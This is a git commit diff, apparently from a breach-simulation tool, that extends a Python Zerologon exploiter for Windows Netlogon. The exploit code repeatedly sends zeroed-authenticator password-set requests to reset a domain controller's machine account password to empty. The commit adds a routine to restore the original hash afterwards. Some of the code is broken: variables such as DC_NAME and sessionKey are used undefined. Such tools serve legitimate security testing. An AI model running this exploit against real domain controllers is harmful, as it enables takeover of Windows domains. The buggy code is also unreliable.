Add restore_password()

This commit is contained in:
Shreya 2020-12-29 00:10:17 +05:30
parent 9468de471d
commit 44e15bd2a0
1 changed files with 134 additions and 23 deletions

View File

@ -7,43 +7,65 @@ import logging
from impacket.dcerpc.v5 import epm, nrpc, transport from impacket.dcerpc.v5 import epm, nrpc, transport
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
from impacket.dcerpc.v5.ndr import NDRCALL
import impacket
from binascii import hexlify, unhexlify
from Cryptodome.Cipher import DES, AES, ARC4
from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger from infection_monkey.network.windowsserver_fingerprint import ZerologonFinger
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class NetrServerPasswordSet(nrpc.NDRCALL):
opnum = 6
structure = (
('PrimaryName', nrpc.PLOGONSRV_HANDLE),
('AccountName', nrpc.WSTR),
('SecureChannelType', nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName', nrpc.WSTR),
('Authenticator', nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword', nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
class NetrServerPasswordSetResponse(nrpc.NDRCALL):
structure = (
('ReturnAuthenticator', nrpc.NETLOGON_AUTHENTICATOR),
('ErrorCode', nrpc.NTSTATUS),
)
class ZerologonExploiter(HostExploiter): class ZerologonExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Netlogon' _EXPLOITED_SERVICE = 'Netlogon'
MAX_ATTEMPTS = 2000
def __init__(self, host): def __init__(self, host):
super().__init__(host) super().__init__(host)
self.vulnerable_port = None self.vulnerable_port = None
self.zerologon_finger = ZerologonFinger()
def _exploit_host(self): def _exploit_host(self):
MAX_ATTEMPTS = 2000 DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details()
zerologon_finger = ZerologonFinger()
DC_IP = self.host.ip if self.is_exploitable():
DC_NAME = zerologon_finger.get_dc_name(DC_IP) LOG.info("Target vulnerable, changing account password to empty string.")
DC_HANDLE = '\\\\' + DC_NAME
if zerologon_finger.get_host_fingerprint(self.host): # exploitable
LOG.info("Target vulnerable, changing account password to empty string")
# Connect to the DC's Netlogon service. # Connect to the DC's Netlogon service.
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, rpc_con = self.connect_to_dc(DC_IP)
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
# Start exploiting attempts. # Start exploiting attempts.
# Max attempts = 2000. Expected average number of attempts needed: 256. # Max attempts = 2000. Expected average number of attempts needed: 256.
result = None result = None
for _ in range(0, MAX_ATTEMPTS): for _ in range(0, self.MAX_ATTEMPTS):
try: try:
result = attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
except nrpc.DCERPCSessionError as ex: except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error. # Failure should be due to a STATUS_ACCESS_DENIED error.
# Otherwise, the attack is probably not working. # Otherwise, the attack is probably not working.
@ -61,25 +83,114 @@ class ZerologonExploiter(HostExploiter):
else: else:
LOG.info("Non-zero return code, something went wrong.") LOG.info("Non-zero return code, something went wrong.")
# how do i execute monkey on the exploited machine? ## how do i execute monkey on the exploited machine?
# restore password ## restore password
else: else:
LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.")
def attempt_exploit(self, DC_HANDLE, rpc_con, TARGET_COMPUTER): def get_dc_details(self):
dc_ip = self.host.ip
dc_name = self.zerologon_finger.get_dc_name(dc_ip)
dc_handle = '\\\\' + DC_NAME
return dc_ip, dc_name, dc_handle
def is_exploitable(self):
return self.zerologon_finger.get_host_fingerprint(self.host)
def connect_to_dc(self, DC_IP):
binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC,
protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
return rpc_con
def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME):
request = nrpc.NetrServerPasswordSet2() request = nrpc.NetrServerPasswordSet2()
request['PrimaryName'] = DC_HANDLE + '\x00' request['PrimaryName'] = DC_HANDLE + '\x00'
request['AccountName'] = TARGET_COMPUTER + '$\x00' request['AccountName'] = DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = b'\x00' * 8 authenticator['Credential'] = b'\x00' * 8
authenticator['Timestamp'] = 0 authenticator['Timestamp'] = 0
request['Authenticator'] = authenticator request['Authenticator'] = authenticator
request['ComputerName'] = TARGET_COMPUTER + '\x00' request['ComputerName'] = DC_NAME + '\x00'
request['ClearNewPassword'] = b'\x00' * 516 request['ClearNewPassword'] = b'\x00' * 516
return rpc_con.request(request) return rpc_con.request(request)
def restore_password(self): def restore_password(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# get nthash using secretsdump and then restore password ## get nthash using secretsdump and then restore password
pass
# Keep authenticating until successful.
LOG.info("Restoring original password...")
for _ in range(0, self.MAX_ATTEMPTS):
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
if rpc_con is not None:
break
if rpc_con:
LOG.info("DC machine account password should be restored to its original value.")
else:
LOG.info("Failed to restore password.")
def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash):
# Connect to the DC's Netlogon service.
rpc_con = self.connect_to_dc(DC_IP)
plaintext = b'\x00'*8
ciphertext = b'\x00'*8
flags = 0x212fffff
# Send challenge and authentication request.
server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00',
DC_NAME + '\x00', plaintext)
server_challenge = server_challenge_response['ServerChallenge']
try:
server_auth = nrpc.hNetrServerAuthenticate3(
rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00',
nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
DC_NAME + '\x00', ciphertext, flags
)
# It worked!
assert server_auth['ErrorCode'] == 0
server_auth.dump()
session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge,
unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
try:
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = ciphertext
authenticator['Timestamp'] = b"\x00" * 4
nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)
request = NetrServerPasswordSet()
request['PrimaryName'] = NULL
request['AccountName'] = DC_NAME + '$\x00'
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
request['ComputerName'] = DC_NAME + '\x00'
request["Authenticator"] = authenticator
pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), sessionKey)
request["UasNewPassword"] = pwd_data
resp = rpc_con.request(request)
resp.dump()
except Exception as ex:
LOG.info(f"Unexpected error: {ex}")
return rpc_con
except nrpc.DCERPCSessionError as ex:
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
if ex.get_error_code() == 0xc0000022:
return None
else:
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
except BaseException as ex:
LOG.info(f"Unexpected error: {ex}")